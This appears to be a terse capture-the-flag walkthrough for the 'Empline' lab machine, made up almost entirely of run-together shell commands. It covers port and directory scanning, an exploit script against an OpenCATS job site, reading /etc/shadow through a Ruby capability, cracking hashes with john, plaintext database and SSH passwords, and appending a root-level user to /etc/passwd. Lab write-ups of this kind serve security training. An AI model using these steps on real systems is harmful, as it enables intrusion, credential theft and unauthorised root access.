Empline
Last updated
Last updated
nmap -sV -sT -O -p 1-65535 $VICTIMgobuster dir --url http://$VICTIM/ -w /usr/share/dirb/wordlists/big.txt -lecho "$VICTIM job.empline.thm" >> /etc/hostschmod +x exploit.sh
./exploit.sh
./exploit.sh http://job.empline.thm/getcap -r / 2>/dev/nullls -lah /etc/shadow
ruby -e 'require "fileutils"; FileUtils.chown("www-data", "www-data", "/etc/shadow")'
ls -lah /etc/shadowcat /etc/passwd
cat /etc/shadowunshadow passwd shadow > passwords.txtjohn --wordlist=/usr/share/wordlists/rockyou.txt passwords.txtfind / -name "config.php"
cat /var/www/opencats/config.php mysql -h $VICTIM -u james -png6pUFvsGNtw show databases;
use opencats
show tables;
select * from user; ssh george@$VICTIM
Password: pretonnevippasempreruby -e 'require "fileutils"; FileUtils.chown("george", "george", "/etc/passwd")'
echo 'new:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:/root:/bin/bash' >> /etc/passwd
su new
Password: 123